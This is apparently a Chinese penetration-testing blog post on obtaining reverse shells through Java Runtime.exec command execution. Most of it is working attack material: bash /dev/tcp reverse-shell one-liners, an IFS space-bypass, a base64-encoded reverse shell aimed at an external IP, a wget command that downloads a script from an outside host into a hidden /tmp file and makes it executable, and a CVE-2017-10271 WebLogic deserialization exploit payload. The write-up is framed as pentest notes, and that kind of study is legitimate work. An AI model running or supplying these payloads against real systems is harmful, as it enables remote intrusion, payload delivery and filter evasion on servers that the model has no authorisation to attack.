凡心所向,素履所往

java反弹shell

字数统计: 1.5k阅读时长: 6 min
2020/01/13 Share

java 反弹shell

[TOC]

在渗透测试中,偶尔会遇到目标为java环境下的RCE,其中java命令执行的函数比较常见的分为Runtime和Process的类。这里遇到的坑以及解决方法。

runtime

这里主要涉及 Runtime.getRuntime().exec()
测试用例如下:

import  java.lang.Runtime;
import  java.lang.Process;
public class exec {
    public exec(){
        try{
            Runtime rt  =   Runtime.getRuntime();
            String[] commands = {"ping","-c","3","th9bvw.ceye.io"};
            Process pc = rt.exec(commands);
            System.out.println("11111");
            pc.waitFor();
        }catch(Exception e){
            e.printStackTrace();
            System.out.println("2222");
        }
    }
    public static void main(String[] argv){
        exec e = new exec();
    }
}

管道符号

在遇到对渗透目标执行重定向或者pipeline的时候,对应符号不会被解析,重定向或管道符号失效。解析如下:

ls /tmp/ | grep xx

这个时候 该程序中管道符号被视为普通字符

ls "/tmp" "|" "grep" "xx"

比如遇到以下环境:

  • weblogic 漏洞 在执行weblogic RCE中,对其进行测试并使其载入远程服务器上面的木马时,需要满足条件如下:
  • 命令执行,载入下载程序并执行下载程序,在这个时候命令如下:
cmd = "wget http://th9bvw.ceye.io/down_v2_1.sh -q -O /tmp/.font-unixx && chmod +x /tmp/.font-unixx &"

直接执行该命令,会发现&&后的语句并没有成功执行,这个时候就要执行以下方法了,以数组方法执行,详情参照exec 的重载

linux目标

在linux下,常用方法(注意下,这里执行的时候,/bin/sh会以sh shell执行,/bin/bash会以bash执行,具体看怎么调用

String[] command = { "/bin/sh", "-c", cmds };
Process ps = Runtime.getRuntime().exec(command );


sh -c 作用说明:
让调用的bash 将一个字符串作为完整的命令来执行

常用反弹shell

  • sh

    /bin/bash -c 'sh -i >& /dev/tcp/127.0.0.1/9999 0>&1'
    

    -w331

  • bash

    /bin/bash -c 'bash -i >& /dev/tcp/127.0.0.1/9999 0>&1'
    

    -w341

这里备注下 OSX系统中存在多种shell
-w562
因为常用的shell 是zsh ,所以遇到多种情况有点坑,应该是环境变量没配好
如 以下命令:
在zsh中
-w562

在bash中:
-w531

在sh中:
-w987
-w901

windows目标

在windows下,常用方法

String[] command = { "cmd", "/c", cmds };
Process ps = Runtime.getRuntime().exec(command );

综上 即命令中涉及 < > | &等符号时
getRuntime().exec(String command )此时已不适用,可以尝试
exec(String [] cmdArray) exec(String []cmdarray,String []envp,File dir)来执行

但当遇到的命令执行的点是getRuntime().exec(String command ),此时这些绕过方法即不适用了。涉及到 bypass exec

bypass exec

IFS

Shell 的环境变量分为 set, env 两种,其中 set 变量可以通过 export 工具导入到 env 变量中。其中,set 是显示设置shell变量,仅在本 shell 中有效;env 是显示设置用户环境变量 ,仅在当前会话中有效。换句话说,set 变量里包含了 env 变量,但 set 变量不一定都是 env 变量。这两种变量不同之处在于变量的作用域不同。显然,env 变量的作用域要大些,它可以在 subshell 中使用。

 而 IFS 是一种 set 变量,当 shell 处理"命令替换"和"参数替换"时,shell 根据 IFS 的值,默认是 space, tab, newline 来拆解读入的变量,然后对特殊字符进行处理,最后重新组合赋值给该变量。

————————————————
版权声明:本文为CSDN博主「whuslei」的原创文章,遵循 CC 4.0 BY-SA 版权协议,转载请附上原文出处链接及本声明。
原文链接:https://blog.csdn.net/whuslei/article/details/7187639

查看其值
-w308

“040”是空格,”011”是Tab,”012”是换行符”\n”
即简单来说 IFS可以替代 空格
在这里用来绕过尝试:
跟踪exec:
-w988
-w1065
-w1084
-w600
这里可以明显看到 IFS起到了分隔符的作用
正常情况下
-w430
这样传入参数是可以执行的
-w844

-w1128

但是一个比较坑的事,在mac中bash 使用IFS没有反弹shell,但在centos中就可以使用,猜测是osx的环境变量有问题。
-w960

经测试,改用osx的shell环境 可以执行

/bin/bash -c bash${IFS}-i${IFS}>&${IFS}/dev/tcp/127.0.0.1/8888<&1

centos中的反应
-w487

命令执行base64编码

在java反序列化中可能遇上反序列化命令执行中存在转义的现象,这个时候可以使用base64编码进行绕过

cmd = "{echo,%s}|{base64,-d}|{bash,-i}" %base64.b64encode(cmd)

String[] commands = {"bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMTguMjQuMTQ2LjIwNC84NTUwIDA+JjE=}|{base64,-d}|{bash,-i}"}

反序列化示例

xml执行绕过

这里遇到在反序列化存在于xml中的时候,在用到管道符等时要用实体编码进行绕过处理

利用实例 CVE-2017-10271

该漏洞利用poc如下:

<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">
      <soapenv:Header>
        <work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
          <java>
            <void class="java.lang.ProcessBuilder">
              <array class="java.lang.String" length="2">
                <void index="0">
                  <string>/bin/bash</string>
                </void>
                <void index="1">
                  <string>-c</string>
                </void>
                <void index="2">
                  <string>'''+cmd+'''</string>
                </void>
              </array>
              <void method="start"/>
            </void>
          </java>
        </work:WorkContext>
      </soapenv:Header>
      <soapenv:Body/>
    </soapenv:Envelope>

其中在cmd中传入字符串的时候需要进行编码,否则会进行报错
-w1437
-w1437
-w878
-w513

<string>wget http://th9bvw.ceye.io -o /tmp/.test12.sh &amp;&amp;  chmod +x /tmp/.test12.sh</string>

-w673

文件传输

在测试中遇到在上传执行脚本时,发现系统上不存在wget、curl等命令,即无法直接通过shell 脚本进行云端下载请求,可以尝试使用Bash /dev/tcp 进行文件传输:

通过 bash直接建立socket请求(待测试)

exec 8<>/dev/tcp/127.0.0.1/11211    
#使用文件描述符8以<>(<读>写)方式,打开127.0.0.1的tcp11211端口
ls -l /proc/self/fd                                   
#查看打开的连接8
echo -e "stats" >&8                             
#向socket写入数据
cat <&8                                                  
#从socket读入数据
exec 8<&-                                              
#关闭socket读
exec 8>&-                                              
#关闭socket写

参考

编码转换
红队后渗透测试中的文件传输技巧

绕过exec获取反弹shell
bash扩展

CATALOG
  1. 1. java 反弹shell
    1. 1.1. runtime
      1. 1.1.1. 管道符号
        1. 1.1.1.1. linux目标
        2. 1.1.1.2. windows目标
    2. 1.2. bypass exec
      1. 1.2.1. IFS
      2. 1.2.2. 命令执行base64编码
        1. 1.2.2.1. 反序列化示例
      3. 1.2.3. xml执行绕过
        1. 1.2.3.1. 利用实例 CVE-2017-10271
    3. 1.3. 文件传输
  2. 2. 参考